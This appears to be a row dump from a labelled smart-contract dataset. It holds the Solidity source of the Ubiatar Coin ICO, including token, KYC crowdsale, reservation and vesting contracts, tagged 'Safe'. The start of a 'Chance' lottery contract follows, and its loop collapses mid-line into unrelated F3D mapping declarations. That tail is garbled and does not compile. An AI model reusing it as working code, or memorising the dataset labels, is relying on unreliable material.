modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.18; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.4.18; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } //File: node_modules/zeppelin-solidity/contracts/ownership/CanReclaimToken.sol pragma solidity ^0.4.18; /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } //File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //File: src/contracts/ico/KYCBase.sol pragma solidity ^0.4.19; // Abstract base contract contract KYCBase { using SafeMath for uint256; mapping (address => bool) public isKycSigner; mapping (uint64 => uint256) public alreadyPayed; event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount); function KYCBase(address [] kycSigners) internal { for (uint i = 0; i < kycSigners.length; i++) { isKycSigner[kycSigners[i]] = true; } } // Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed function releaseTokensTo(address buyer) internal returns(bool); // This method can be overridden to enable some sender to buy token for a different address function senderAllowedFor(address buyer) internal view returns(bool) { return buyer == msg.sender; } function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { require(senderAllowedFor(buyerAddress)); return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s); } function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s); } function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) private returns (bool) { // check the signature bytes32 hash = sha256(""Eidoo icoengine authorization"", this, buyerAddress, buyerId, maxAmount); address signer = ecrecover(hash, v, r, s); if (!isKycSigner[signer]) { revert(); } else { uint256 totalPayed = alreadyPayed[buyerId].add(msg.value); require(totalPayed <= maxAmount); alreadyPayed[buyerId] = totalPayed; KycVerified(signer, buyerAddress, buyerId, maxAmount); return releaseTokensTo(buyerAddress); } return true; } // No payable fallback function, the tokens must be buyed using the functions buyTokens and buyTokensFor function () public { revert(); } } //File: src/contracts/ico/ICOEngineInterface.sol pragma solidity ^0.4.19; contract ICOEngineInterface { // false if the ico is not started, true if the ico is started and running, true if the ico is completed function started() public view returns(bool); // false if the ico is not started, false if the ico is started and running, true if the ico is completed function ended() public view returns(bool); // time stamp of the starting time of the ico, must return 0 if it depends on the block number function startTime() public view returns(uint); // time stamp of the ending time of the ico, must retrun 0 if it depends on the block number function endTime() public view returns(uint); // Optional function, can be implemented in place of startTime // Returns the starting block number of the ico, must return 0 if it depends on the time stamp // function startBlock() public view returns(uint); // Optional function, can be implemented in place of endTime // Returns theending block number of the ico, must retrun 0 if it depends on the time stamp // function endBlock() public view returns(uint); // returns the total number of the tokens available for the sale, must not change when the ico is started function totalTokens() public view returns(uint); // returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(), // then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens() function remainingTokens() public view returns(uint); // return the price as number of tokens released for each ether function price() public view returns(uint); } //File: src/contracts/ico/CrowdsaleBase.sol /** * @title CrowdsaleBase * @dev Base crowdsale contract to be inherited by the UacCrowdsale and Reservation contracts. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase { /*** CONSTANTS ***/ uint256 public constant USD_PER_TOKEN = 2; // uint256 public constant USD_PER_ETHER = 795; // uint256 public start; // ICOEngineInterface uint256 public end; // ICOEngineInterface uint256 public cap; // ICOEngineInterface address public wallet; uint256 public tokenPerEth; uint256 public availableTokens; // ICOEngineInterface address[] public kycSigners; // KYCBase bool public capReached; uint256 public weiRaised; uint256 public tokensSold; /** * @dev Constructor. * @param _start The start time of the sale. * @param _end The end time of the sale. * @param _cap The maximum amount of tokens to be sold during the sale. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function CrowdsaleBase( uint256 _start, uint256 _end, uint256 _cap, address _wallet, address[] _kycSigners ) public KYCBase(_kycSigners) { require(_end >= _start); require(_cap > 0); start = _start; end = _end; cap = _cap; wallet = _wallet; tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN); availableTokens = _cap; kycSigners = _kycSigners; } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, true if the ico is started and running, true if the ico is completed. */ function started() public view returns(bool) { if (block.timestamp >= start) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, false if the ico is started and running, true if the ico is completed. */ function ended() public view returns(bool) { if (block.timestamp >= end) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico start time. */ function startTime() public view returns(uint) { return start; } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico end time. */ function endTime() public view returns(uint) { return end; } /** * @dev Implements the ICOEngineInterface. * @return The total number of the tokens available for the sale, must not change when the ico is started. */ function totalTokens() public view returns(uint) { return cap; } /** * @dev Implements the ICOEngineInterface. * @return The number of the tokens available for the ico. At the moment the ico starts it must be equal to totalTokens(), * then it will decrease. */ function remainingTokens() public view returns(uint) { return availableTokens; } /** * @dev Implements the KYCBase senderAllowedFor function to enable a sender to buy tokens for a different address. * @return true. */ function senderAllowedFor(address buyer) internal view returns(bool) { require(buyer != address(0)); return true; } /** * @dev Implements the KYCBase releaseTokensTo function to mint tokens for an investor. Called after the KYC process has passed. * @return A bollean that indicates if the operation was successful. */ function releaseTokensTo(address buyer) internal returns(bool) { require(validPurchase()); uint256 overflowTokens; uint256 refundWeiAmount; uint256 weiAmount = msg.value; uint256 tokenAmount = weiAmount.mul(price()); if (tokenAmount >= availableTokens) { capReached = true; overflowTokens = tokenAmount.sub(availableTokens); tokenAmount = tokenAmount.sub(overflowTokens); refundWeiAmount = overflowTokens.div(price()); weiAmount = weiAmount.sub(refundWeiAmount); buyer.transfer(refundWeiAmount); } weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); availableTokens = availableTokens.sub(tokenAmount); mintTokens(buyer, tokenAmount); forwardFunds(weiAmount); return true; } /** * @dev Fired by the releaseTokensTo function after minting tokens, to forward the raised wei to the address that collects funds. * @param _weiAmount Amount of wei send by the investor. */ function forwardFunds(uint256 _weiAmount) internal { wallet.transfer(_weiAmount); } /** * @dev Validates an incoming purchase. Required statements revert state when conditions are not met. * @return true If the transaction can buy tokens. */ function validPurchase() internal view returns (bool) { require(!paused && !capReached); require(block.timestamp >= start && block.timestamp <= end); return true; } /** * @dev Abstract function to mint tokens, to be implemented in the Crowdsale and Reservation contracts. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private; } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/TokenVesting.sol pragma solidity ^0.4.18; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol pragma solidity ^0.4.18; /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol pragma solidity ^0.4.18; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol pragma solidity ^0.4.18; /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/PausableToken.sol pragma solidity ^0.4.18; /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } //File: src/contracts/ico/UacToken.sol /** * @title Ubiatar Coin token * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UacToken is CanReclaimToken, MintableToken, PausableToken { string public constant name = ""Ubiatar Coin""; string public constant symbol = ""UAC""; uint8 public constant decimals = 18; /** * @dev Constructor of UacToken that instantiates a new Mintable Pausable Token */ function UacToken() public { // token should not be transferrable until after all tokens have been issued paused = true; } } //File: src/contracts/ico/UbiatarPlayVault.sol /** * @title UbiatarPlayVault * @dev A token holder contract that allows the release of tokens to the UbiatarPlay Wallet. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UbiatarPlayVault { using SafeMath for uint256; using SafeERC20 for UacToken; uint256[6] public vesting_offsets = [ 90 days, 180 days, 270 days, 360 days, 540 days, 720 days ]; uint256[6] public vesting_amounts = [ 2e6 * 1e18, 4e6 * 1e18, 6e6 * 1e18, 8e6 * 1e18, 10e6 * 1e18, 20.5e6 * 1e18 ]; address public ubiatarPlayWallet; UacToken public token; uint256 public start; uint256 public released; /** * @dev Constructor. * @param _ubiatarPlayWallet The address that will receive the vested tokens. * @param _token The UAC Token, which is being vested. * @param _start The start time from which each release time will be calculated. */ function UbiatarPlayVault( address _ubiatarPlayWallet, address _token, uint256 _start ) public { ubiatarPlayWallet = _ubiatarPlayWallet; token = UacToken(_token); start = _start; } /** * @dev Transfers vested tokens to ubiatarPlayWallet. */ function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); released = released.add(unreleased); token.safeTransfer(ubiatarPlayWallet, unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 vested = 0; for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) { if (block.timestamp > start.add(vesting_offsets[i])) { vested = vested.add(vesting_amounts[i]); } } return vested; } } //File: src/contracts/ico/PresaleTokenVault.sol /** * @title PresaleTokenVault * @dev A token holder contract that allows multiple beneficiaries to extract their tokens after a given release time. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.17; contract PresaleTokenVault { using SafeMath for uint256; using SafeERC20 for ERC20Basic; /*** CONSTANTS ***/ uint256 public constant VESTING_OFFSET = 90 days; // starting of vesting uint256 public constant VESTING_DURATION = 180 days; // duration of vesting uint256 public start; uint256 public cliff; uint256 public end; ERC20Basic public token; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } Investment[] public investments; // key: investor address; value: index in investments array. mapping(address => uint256) public investorLUT; function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { // makes sure this function is only called once require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_OFFSET); end = cliff.add(VESTING_DURATION); token = ERC20Basic(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investorLUT[beneficiaries[i]] = investments.length; investments.push(Investment(beneficiaries[i], balances[i], 0)); } } /** * @dev Allows a sender to transfer vested tokens to the beneficiary's address. * @param beneficiary The address that will receive the vested tokens. */ function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); uint256 investmentIndex = investorLUT[beneficiary]; investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } /** * @dev Transfers vested tokens to the sender's address. */ function release() public { release(msg.sender); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param beneficiary The address that will receive the vested tokens. */ function releasableAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; return vestedAmount(beneficiary).sub(investments[investmentIndex].released); } /** * @dev Calculates the amount that has already vested. * @param beneficiary The address that will receive the vested tokens. */ function vestedAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; uint256 vested = 0; if (block.timestamp >= start) { // after start -> 1/3 released (fixed) vested = investments[investmentIndex].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { // after cliff -> linear vesting over time uint256 p1 = investments[investmentIndex].totalBalance.div(3); uint256 p2 = investments[investmentIndex].totalBalance; /* released amount: r 1/3: p1 all: p2 current time: t cliff: c end: e r = p1 + / d_time * time = p1 + (p2-p1) / (e-c) * (t-c) */ uint256 d_token = p2.sub(p1); uint256 time = block.timestamp.sub(cliff); uint256 d_time = end.sub(cliff); vested = vested.add(d_token.mul(time).div(d_time)); } if (block.timestamp >= end) { // after end -> all vested vested = investments[investmentIndex].totalBalance; } return vested; } } //File: src/contracts/ico/UacCrowdsale.sol /** * @title UacCrowdsale * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract UacCrowdsale is CrowdsaleBase { /*** CONSTANTS ***/ uint256 public constant START_TIME = 1525856400; // 9 May 2018 09:00:00 GMT uint256 public constant END_TIME = 1528448400; // 8 June 2018 09:00:00 GMT uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days; uint256 public constant PRESALE_CAP = 17584778551358900100698693; uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18; // Reservation plus main sale tokens uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18; uint256 public constant FOUNDERS_CAP = 12e6 * 1e18; uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18; uint256 public constant ADVISORS_CAP = 4915221448641099899301307; // Eidoo interface requires price as tokens/ether, therefore the discounts are presented as bonus tokens. uint256 public constant BONUS_TIER1 = 108; // 8% during first 3 hours uint256 public constant BONUS_TIER2 = 106; // 6% during next 9 hours uint256 public constant BONUS_TIER3 = 104; // 4% during next 30 hours uint256 public constant BONUS_DURATION_1 = 3 hours; uint256 public constant BONUS_DURATION_2 = 12 hours; uint256 public constant BONUS_DURATION_3 = 42 hours; uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years; uint256 public constant FOUNDERS_VESTING_DURATION = 2 years; Reservation public reservation; // Vesting contracts. PresaleTokenVault public presaleTokenVault; TokenVesting public foundersVault; UbiatarPlayVault public ubiatarPlayVault; // Vesting wallets. address public foundersWallet; address public advisorsWallet; address public ubiatarPlayWallet; address public wallet; UacToken public token; // Lets owner manually end crowdsale. bool public didOwnerEndCrowdsale; /** * @dev Constructor. * @param _foundersWallet address Wallet holding founders tokens. * @param _advisorsWallet address Wallet holding advisors tokens. * @param _ubiatarPlayWallet address Wallet holding ubiatarPlay tokens. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function UacCrowdsale( address _token, address _reservation, address _presaleTokenVault, address _foundersWallet, address _advisorsWallet, address _ubiatarPlayWallet, address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners) { token = UacToken(_token); reservation = Reservation(_reservation); presaleTokenVault = PresaleTokenVault(_presaleTokenVault); foundersWallet = _foundersWallet; advisorsWallet = _advisorsWallet; ubiatarPlayWallet = _ubiatarPlayWallet; wallet = _wallet; // Create founders vault contract foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false); // Create Ubiatar Play vault contract ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME); } function mintPreAllocatedTokens() public onlyOwner { mintTokens(address(foundersVault), FOUNDERS_CAP); mintTokens(advisorsWallet, ADVISORS_CAP); mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP); } /** * @dev Creates the presale vault contract. * @param beneficiaries Array of the presale investors addresses to whom vested tokens are transferred. * @param balances Array of token amount per beneficiary. */ function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner { require(beneficiaries.length == balances.length); presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token); uint256 totalPresaleBalance = 0; uint256 balancesLength = balances.length; for(uint256 i = 0; i < balancesLength; i++) { totalPresaleBalance = totalPresaleBalance.add(balances[i]); } mintTokens(presaleTokenVault, totalPresaleBalance); } /** * @dev Implements the price function from EidooEngineInterface. * @notice Calculates the price as tokens/ether based on the corresponding bonus bracket. * @return Price as tokens/ether. */ function price() public view returns (uint256 _price) { if (block.timestamp <= start.add(BONUS_DURATION_1)) { return tokenPerEth.mul(BONUS_TIER1).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_2)) { return tokenPerEth.mul(BONUS_TIER2).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_3)) { return tokenPerEth.mul(BONUS_TIER3).div(1e2); } return tokenPerEth; } /** * @dev Mints tokens being sold during the reservation phase, as part of the implementation of the releaseTokensTo function * from the KYCBase contract. * Also, updates tokensSold and availableTokens in the crowdsale contract. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintReservationTokens(address to, uint256 amount) public { require(msg.sender == address(reservation)); tokensSold = tokensSold.add(amount); availableTokens = availableTokens.sub(amount); mintTokens(to, amount); } /** * @dev Mints tokens being sold during the crowdsale phase as part of the implementation of releaseTokensTo function * from the KYCBase contract. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private { token.mint(to, amount); } /** * @dev Allows the owner to close the crowdsale manually before the end time. */ function closeCrowdsale() public onlyOwner { require(block.timestamp >= START_TIME && block.timestamp < END_TIME); didOwnerEndCrowdsale = true; } /** * @dev Allows the owner to unpause tokens, stop minting and transfer ownership of the token contract. */ function finalise() public onlyOwner { require(didOwnerEndCrowdsale || block.timestamp > end || capReached); token.finishMinting(); token.unpause(); // Token contract extends CanReclaimToken so the owner can recover any ERC20 token received in this contract by mistake. // So far, the owner of the token contract is the crowdsale contract. // We transfer the ownership so the owner of the crowdsale is also the owner of the token. token.transferOwnership(owner); } } //File: src/contracts/ico/Reservation.sol /** * @title Reservation * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract Reservation is CrowdsaleBase { /*** CONSTANTS ***/ uint256 public constant START_TIME = 1525683600; // 7 May 2018 09:00:00 GMT uint256 public constant END_TIME = 1525856400; // 9 May 2018 09:00:00 GMT uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18; uint256 public constant BONUS = 110; // 10% bonus UacCrowdsale public crowdsale; /** * @dev Constructor. * @notice Unsold tokens should add up to the crowdsale hard cap. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function Reservation( address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners) { } function setCrowdsale(address _crowdsale) public { require(crowdsale == address(0)); crowdsale = UacCrowdsale(_crowdsale); } /** * @dev Implements the price function from EidooEngineInterface. * @notice Calculates the price as tokens/ether based on the corresponding bonus. * @return Price as tokens/ether. */ function price() public view returns (uint256) { return tokenPerEth.mul(BONUS).div(1e2); } /** * @dev Fires the mintReservationTokens function on the crowdsale contract to mint the tokens being sold during the reservation phase. * This function is called by the releaseTokensTo function, as part of the KYCBase implementation. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private { crowdsale.mintReservationTokens(to, amount); } }",Safe,8,8 0x042b6475E8e0B8B12D001E2eAFb036Bbea0C4e52_Chance.sol,"pragma solidity ^0.4.0; contract Chance { address owner; uint public pot; uint SEKU_PRICE; uint private _random; address[] public participants; mapping (address => uint) public sekus; mapping (uint => address) public invitation; uint public reflink; event Payout(address target, uint amount, uint nrOfParticipants, uint sekus); modifier onlyBy(address _account) { require(msg.sender == _account); _; } constructor () public { owner = msg.sender; pot= address(this).balance; SEKU_PRICE=0.001 ether; } function setSEKU(uint price) public onlyBy(owner){ SEKU_PRICE = price* 1 ether; } function withdrawal()payable public onlyBy(owner){ terminate(); } function getref() constant returns (uint) { return uint32(keccak256(abi.encodePacked(msg.sender))); } function buySEKU(uint amount,uint ref) payable public { require(msg.value == amount*SEKU_PRICE && amount>0 && amount<201 ); bool _ref=false; if(ref != 0 && invitation[ref] != msg.sender && sekus[invitation[ref]]>amount){ _ref=true; } for (uint i=0; i uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public 